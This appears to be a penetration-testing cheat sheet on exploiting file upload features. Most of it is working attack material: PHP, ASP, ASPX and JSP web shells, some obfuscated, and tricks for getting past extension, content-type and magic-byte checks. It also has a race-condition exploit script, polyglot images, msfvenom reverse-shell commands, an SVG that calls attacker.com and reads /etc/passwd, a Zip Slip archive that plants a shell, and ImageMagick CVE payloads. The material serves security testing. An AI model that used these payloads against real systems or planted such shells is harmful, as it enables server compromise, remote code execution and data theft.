Skip to content

Latest commit

 

History

History
566 lines (459 loc) · 10.5 KB

File metadata and controls

566 lines (459 loc) · 10.5 KB

File Upload Vulnerabilities

Table of Contents


Detection

Quick Check (One-liner)

# Create and test PHP webshell upload
echo '<?php system($_GET["c"]); ?>' > shell.php && curl -F "file=@shell.php" http://$rhost/upload

Common upload parameters

file=
document=
image=
photo=
upload=
attachment=
media=
data=

Test upload functionality

1. Upload normal file (image.jpg)
2. Check response and upload location
3. Try accessing uploaded file directly
4. Test with web shell payload

Bypass Techniques

Extension Bypass

PHP extension alternatives

.php
.php3
.php4
.php5
.php7
.phtml
.phar
.phps
.pht
.phpt
.pgif
.inc

ASP/ASPX alternatives

.asp
.aspx
.asa
.cer
.cdx
.ashx
.asmx
.ascx
.config

JSP alternatives

.jsp
.jspx
.jsw
.jsv
.jspf

Other executable extensions

.cgi
.pl
.py
.rb
.sh
.shtml

Content-Type Bypass

Change Content-Type header to bypass checks

# Original request
Content-Type: application/x-php

# Bypass
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
Content-Type: image/bmp
Content-Type: text/plain
Content-Type: application/octet-stream

Burp Suite modification

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg    <-- Change this

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

Magic Bytes Bypass

Add image magic bytes before PHP code

# GIF header
GIF89a<?php system($_GET['cmd']); ?>

# JPEG header (hex)
echo -e '\xff\xd8\xff\xe0<?php system($_GET["cmd"]); ?>' > shell.php.jpg

# PNG header (hex)
echo -e '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > shell.php.png

Hex values of magic bytes

GIF89a    -> 47 49 46 38 39 61
GIF87a    -> 47 49 46 38 37 61
JPEG      -> FF D8 FF E0 or FF D8 FF E1
PNG       -> 89 50 4E 47 0D 0A 1A 0A
BMP       -> 42 4D
PDF       -> 25 50 44 46

Double Extension

Use double extensions to bypass filters

shell.php.jpg
shell.php.png
shell.php.gif
shell.jpg.php
shell.png.php

With null byte (old servers)

shell.php%00.jpg
shell.php\x00.jpg

Null Byte Injection

Bypass extension validation (PHP < 5.3.4)

shell.php%00.jpg
shell.php\x00.png
shell.php%00.gif

URL encoded null byte

shell.php%00.jpg
shell.php%2500.jpg (double encoded)

Case Sensitivity

Bypass case-sensitive filters (Windows servers)

shell.pHp
shell.PhP
shell.PHP
shell.Php
shell.pHP
shell.pHp7

htaccess Upload

Upload .htaccess to enable PHP execution

# .htaccess content
AddType application/x-httpd-php .jpg
AddHandler php5-script .jpg

# Or
<FilesMatch "shell.jpg">
    SetHandler application/x-httpd-php
</FilesMatch>

Alternative handlers

AddHandler php-script .jpg
AddHandler php7-script .jpg
AddType application/x-httpd-php .txt

Then upload shell.jpg with PHP content

<?php system($_GET['cmd']); ?>

Race Condition

Upload and access before validation/deletion

import requests
import threading

url_upload = "http://target.com/upload"
url_shell = "http://target.com/uploads/shell.php"

def upload():
    files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
    requests.post(url_upload, files=files)

def access():
    r = requests.get(url_shell + "?cmd=id")
    if "uid=" in r.text:
        print("[+] Shell executed!")
        print(r.text)

for i in range(100):
    t1 = threading.Thread(target=upload)
    t2 = threading.Thread(target=access)
    t1.start()
    t2.start()

Polyglot Files

PHP/JPEG Polyglot

Create valid JPEG that executes PHP

# Method 1: Append PHP to JPEG
cat image.jpg > shell.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.php.jpg

# Method 2: Inject in EXIF comment
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
mv image.jpg shell.php.jpg

GIF Polyglot

Create GIF with PHP code

# shell.php.gif content
GIF89a<?php system($_GET['cmd']); ?>

Using echo

echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php.gif

PNG Polyglot

Insert PHP in PNG metadata

# Using exiftool
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.png
mv image.png shell.php.png

# Manual with hex editor - add PHP after PNG header

Web Shells

PHP Shells

Simple command execution

<?php system($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php echo exec($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>

Minimal one-liner

<?=`$_GET[c]`?>
<?php `$_GET[c]`; ?>
<?=system($_GET[c])?>

POST-based shell

<?php if(isset($_POST['c'])){system($_POST['c']);} ?>

Obfuscated shells

<?php $a='sys'.'tem';$a($_GET['c']); ?>
<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjJ10pOw==')); ?>
<?php assert($_GET['c']); ?>
<?php preg_replace('/.*/e', 'system("id")', ''); ?> // PHP < 7

Full reverse shell

# Use PentestMonkey php-reverse-shell
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
# Edit $lhost and $lport in the script

ASP Shells

Simple ASP command execution

<%eval request("cmd")%>
<%execute request("cmd")%>

ASP reverse shell via msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f asp > shell.asp

ASPX Shells

ASPX command execution

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
    Process p = new Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.Arguments = "/c " + Request["cmd"];
    p.StartInfo.RedirectStandardOutput = true;
    p.StartInfo.UseShellExecute = false;
    p.Start();
    Response.Write(p.StandardOutput.ReadToEnd());
}
</script>

msfvenom ASPX

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f aspx > shell.aspx

JSP Shells

JSP command execution

<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    InputStream is = p.getInputStream();
    BufferedReader br = new BufferedReader(new InputStreamReader(is));
    String line;
    while((line = br.readLine()) != null) {
        out.println(line);
    }
}
%>

msfvenom JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=$lhost LPORT=$lport -f raw > shell.jsp

Exiftool Injection

Inject payload in image metadata

# Command injection in filename (CVE-2021-22204)
exiftool -overwrite_original -Comment='<?php system($_GET["cmd"]); ?>' image.jpg

# For EXIF data injection
exiftool -EXIF:ImageDescription='<?php system($_GET["cmd"]); ?>' image.jpg

# DocumentName injection
exiftool -DocumentName='<?php system($_GET["cmd"]); ?>' image.jpg

Verify injection

exiftool image.jpg | grep -i comment
strings image.jpg | grep php

SVG Exploitation

SVG for XSS

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
</svg>

SVG for SSRF

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "http://attacker.com/ssrf">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

SVG for XXE (file read)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

PDF Exploitation

PDF with JavaScript (XSS)

# Create malicious PDF
echo '%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R /OpenAction 3 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [] /Count 0 >>
endobj
3 0 obj
<< /Type /Action /S /JavaScript /JS (app.alert("XSS")) >>
endobj
xref
0 4
0000000000 65535 f
0000000009 00000 n
0000000074 00000 n
0000000126 00000 n
trailer
<< /Size 4 /Root 1 0 R >>
startxref
207
%%EOF' > malicious.pdf

Zip Slip

Path traversal via ZIP extraction

# Create malicious zip
python3 -c "
import zipfile
with zipfile.ZipFile('exploit.zip', 'w') as z:
    z.writestr('../../../var/www/html/shell.php', '<?php system(\$_GET[\"cmd\"]); ?>')
"

Using evilarc

python evilarc.py shell.php -p var/www/html -o unix -f exploit.zip

ImageMagick Exploits

CVE-2016-3714 (ImageTragick)

Create malicious MVG file

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-context

Save as exploit.mvg or exploit.svg

CVE-2022-44268 (Arbitrary File Read)

Read files via PNG

# Install pngcrush
apt install pngcrush

# Create malicious PNG
pngcrush -text a "profile" "/etc/passwd" input.png output.png

# Upload output.png
# Download processed image
# Extract data
identify -verbose output.png | grep -A 100 'Raw profile type'
# Decode hex data

FFuF for Finding Uploads

Fuzz for uploaded files

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -u http://$rhost/uploads/FUZZ

ffuf -w wordlist.txt -u http://$rhost/uploads/FUZZ -e .php,.jpg,.png,.gif

# Custom shell names
ffuf -w shell_names.txt -u http://$rhost/uploads/FUZZ.php

See Also